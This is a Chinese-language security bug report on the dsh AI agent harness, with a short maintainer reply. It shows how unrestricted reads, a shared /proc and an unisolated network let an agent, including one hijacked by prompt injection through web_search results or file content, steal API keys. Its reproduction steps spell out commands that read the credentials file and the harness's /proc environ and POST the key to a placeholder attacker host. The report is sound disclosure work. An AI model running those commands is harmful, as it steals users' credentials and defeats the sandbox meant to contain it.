[Bug 报告 / 安全] 凭据对代理自身不构成保密边界：读全放行 + 沙箱进程可读父进程环境 + 网络不隔离，API key 可被读取并外传

[truelove-dreamer]

建议分类：Bug report（安全/机密性）
环境：@deepseek-ai/dsh 0.1.0-rc.6；Linux/macOS（bash-sandbox / bwrap 路径），Windows 同受"读全放行"部分影响
严重级别：critical（机密性）——三个"各自合理"的设计叠加成一条实际可用的密钥外传链

摘要

以下三个事实各自都有合理的设计理由，但组合起来，在默认配置下就形成了一条把 API 密钥从 harness 里掏出来的完整链路：

1. 文件读取在所有权限模式下不受限：fs 沙箱围栏只拦"写"（write/edit），读操作"pass through untouched"；$DSH_HOME/.credentials.yaml 对模型（或被提示注入的代理）直接可读；
2. 受控 shell 进程可读父进程环境：bwrap 配置没有 --unshare-pid/--new-session，且挂载了宿主 /proc，同一 UID 的子进程可读祖先进程（即 harness 本体）的 /proc/<pid>/environ——而 DEEPSEEK_API_KEY 等密钥可能正以启动环境变量的形式存在于 harness 进程环境中（credential 文档明确支持"继承环境"作为凭据源）；
3. 沙箱进程不隔离网络：bwrap 配置没有 --unshare-net，读到的密钥可立即 curl 外传。

官方组合注释承诺"凭据永不物化到进程环境"——它只保证了密钥不通过子进程 env 继承泄露，并不构成对代理自身的保密边界。

证据（代码与行号）

代码根：node_modules/@deepseek-ai/（0.1.0-rc.6 构建产物）

1. 读全放行（设计如此，注释自认） — dsh-fs-sandbox/lib/index.js:74-75：

   "Reads pass through untouched: every mode permits reading."
   同文件 :87-90：围栏只作用于 mutation（read-only 拒一切写、workspace-write 限定根），读路径无策略检查；dsh-tool-fs/lib/index.js:420（read 调用不携带 sandboxPolicy）。

2. bwrap 缺网络/PID 隔离，挂载宿主 /proc — dsh-sandbox-local/lib/index.js:22-38：

   ["--ro-bind", "/", "/", "--dev", "/dev", "--proc", "/proc", "--die-with-parent"]

   workspace-write 仅追加 --tmpfs /tmp 与 workspace bind；无 --unshare-net、--unshare-pid、--new-session。子进程与 harness 同 PID 空间、同 UID，ptrace_scope=1 下后代读祖先的 /proc/<pid>/environ 被允许。
3. 密钥可能存在于 harness 进程环境 — dsh-llm-deepseek/lib/index.js:747-748：API key 可来自启动环境（credentials 文档：环境 > $DSH_HOME/.credentials.yaml > 项目/用户 .env）；dsh-subprocess/lib/index.js:46-50 的环境脱敏只影响子进程自身的 env 块，拦不住 /proc/<ancestor>/environ 读取。

复现步骤（Linux）

1. 启动 harness：DEEPSEEK_API_KEY=sk-xxx dsh --profile web（或经 ~/.dsh/.credentials.yaml 配置）；
2. 让代理执行（任一权限模式下）：
   • read 工具读 ~/.dsh/.credentials.yaml → 成功（读不受限）；
   • 或在 bash 工具里：cat ~/.dsh/.credentials.yaml → 成功（read-only 模式也不拦读）；
   • 或读父进程环境：cat /proc/$(pgrep -f "dsh --profile" | head -1)/environ | tr '\0' '\n' | grep -i "DEEPSEEK\|API_KEY" → 拿到 harness 进程环境中的密钥；
3. 外传：沙箱内网络可用，curl -X POST https://<attacker>/collect -d @<密钥文件> → 成功。

预期（按"凭据安全存储"的心智模型）：代理无法接触密钥；实际：read/shell 都能读到，且可外传。

影响

• 默认配置下，模型（或经 web_search/文件内容注入的提示注入载荷）可读取凭据存储与 harness 自身环境，并借不受限的网络外传；
• 与"凭据永不物化到进程环境"的宣传形成反差：那只防了 env 继承，未防代理主动读取；
• 企业/共享机器场景尤其敏感：一个被注入的代理即可拖走 DeepSeek key 及其它 .env 凭据。

建议修复（供讨论，任一即可显著收窄）

1. 读路径拦截（最小、见效最快）：fs 读工具与 shell 读操作对凭据文件路径（$DSH_HOME/.credentials.yaml、.env）做 deny/redact；或在 workspace 外的敏感路径读取上追加审批；
2. 启动后 scrub 自身环境：harness 启动时把已捕获的密钥从 process.env 删除（credential 值仍可从存储解析），使 /proc/<pid>/environ 不再携带密钥；
3. bwrap 加命名空间隔离：--unshare-net --unshare-pid --new-session（注意 --unshare-net 会让沙箱内 bash 失去网络，属行为变更——可评估是否只在 read-only 模式启用，或文档化该取舍）；
4. 文档化边界：无论修不修，都请在权限文档/UI 中如实说明"凭据存储对代理可读、沙箱进程不隔离网络"，避免用户把沙箱当作数据保密边界。

附注

• 已确认非问题：写路径围栏（FS_SANDBOX_DENIED + 升级）本身完整；凭据 ${VAR} 引用无注入面；子进程 env 脱敏确实生效（对继承路径）；
• 本报告定位：不是某一处"实现 bug"，而是三个 by-design 事实的合成缺口——是否修、修哪层，取决于团队对"沙箱是否承担保密边界"的定位，但当前组合在默认配置下确实可被提示注入利用。

[tianyicui]

收到，感谢建议，我们会改进沙箱功能，让沙箱能够更细粒度的被配置（包括网络相关），以及可以用沙箱包住整个dsh进程的行为而不仅仅是只对于特定工具生效。

[truelove-dreamer]

能为harness做出贡献是我的荣幸：）